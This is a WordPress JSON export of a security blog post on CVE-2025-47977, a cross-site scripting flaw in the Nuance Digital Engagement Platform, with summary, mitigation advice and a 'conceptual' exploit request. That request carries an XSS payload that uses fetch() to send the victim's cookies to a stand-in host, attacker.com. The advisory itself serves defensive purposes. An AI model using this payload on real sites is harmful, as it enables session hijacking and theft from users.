{"id":53983,"date":"2025-06-22T04:13:22","date_gmt":"2025-06-22T04:13:22","guid":{"rendered":""},"modified":"2025-09-07T11:38:32","modified_gmt":"2025-09-07T17:38:32","slug":"cve-2025-47977-cross-site-scripting-vulnerability-in-nuance-digital-engagement-platform","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47977-cross-site-scripting-vulnerability-in-nuance-digital-engagement-platform\/","title":{"rendered":"<strong>CVE-2025-47977: Cross-Site Scripting Vulnerability in Nuance Digital Engagement Platform<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-47977 is a critical security flaw that affects the Nuance Digital Engagement Platform. As the vulnerability pertains to &#8216;cross-site scripting&#8217; (XSS), it opens the door to potential system compromise and data leakage. Given the nature of Nuance&#8217;s platform that is widely used for customer engagement across various industries, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31398-critical-deserialization-of-untrusted-data-vulnerability-in-themeton-pimp-creative-multipurpose\/\"  data-wpil-monitor-id=\"60265\">vulnerability poses a serious threat to both customer data<\/a> privacy and overall system integrity. The severity of this issue is underscored by its CVSS score of 8.2, marking it as a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42989-high-risk-privilege-escalation-vulnerability-in-rfc-inbound-processing\/\"  data-wpil-monitor-id=\"60438\">high-risk vulnerability<\/a> that needs immediate attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47977<br \/>\nSeverity: High (CVSS: 8.2)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40912-critical-vulnerability-in-cryptx-for-perl-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"60925\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2067768200\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Nuance Digital Engagement Platform | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49137-critical-vulnerability-in-hax-cms-php-prior-to-version-11-0-0\/\"  data-wpil-monitor-id=\"61981\">versions prior<\/a> to patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-47977 <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48141-sql-injection-vulnerability-in-multi-cryptocurrency-payments-application\/\"  data-wpil-monitor-id=\"60259\">vulnerability allows unauthorized attackers to inject<\/a> malicious scripts into web pages generated by the Nuance Digital Engagement Platform. This is achieved through <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1041-critical-improper-input-validation-vulnerability-in-avaya-call-management-system\/\"  data-wpil-monitor-id=\"60460\">improper neutralization of user input<\/a> during web page generation. As a result, the attacker can perform spoofing over a network, potentially gaining <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49136-critical-vulnerability-in-listmonk-allows-unauthorized-access-to-sensitive-environment-variables\/\"  data-wpil-monitor-id=\"60372\">unauthorized access to sensitive<\/a> data, manipulating web content, or even taking over user sessions.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1323358878\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a<br \/>\n<strong>conceptual<\/strong><br \/>\n example of a crafted HTTP POST request that an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"60924\">attacker might use to exploit<\/a> this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;user_feedback&quot;: &quot;&lt;img src=&#039;x&#039; onerror=&#039;fetch(\\&quot;http:\/\/attacker.com\/steal?cookie=\\&quot;+document.cookie)&#039;&gt;&quot; }<\/code><\/pre>\n<p>In this example, the attacker uses an embedded script within the &#8220;user_feedback&#8221; parameter. When the web page is generated, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6512-script-execution-with-admin-privileges-on-brain2-server\/\"  data-wpil-monitor-id=\"63465\">script executes<\/a>, sending the user&#8217;s cookies to the attacker&#8217;s server, potentially compromising the user&#8217;s session.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Until a patch is released by the vendor, it is recommended to use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation. These <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77088\">security measures can help detect<\/a> and block malicious requests. Additionally, enforcing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2443-gitlab-ee-cross-site-scripting-xss-and-content-security-policy-bypass-vulnerability\/\"  data-wpil-monitor-id=\"65343\">Content Security Policy<\/a> (CSP) and input validation can also help prevent the execution of such malicious scripts. As soon as the vendor releases a patch for this vulnerability, it should be applied immediately to avoid any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"80035\">potential exploits<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-47977 is a critical security flaw that affects the Nuance Digital Engagement Platform. As the vulnerability pertains to &#8216;cross-site scripting&#8217; (XSS), it opens the door to potential system compromise and data leakage. Given the nature of Nuance&#8217;s platform that is widely used for customer engagement across various industries, this vulnerability poses a serious threat [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-53983","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53983","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=53983"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53983\/revisions"}],"predecessor-version":[{"id":72455,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53983\/revisions\/72455"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=53983"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=53983"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=53983"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=53983"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=53983"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=53983"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=53983"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=53983"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=53983"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}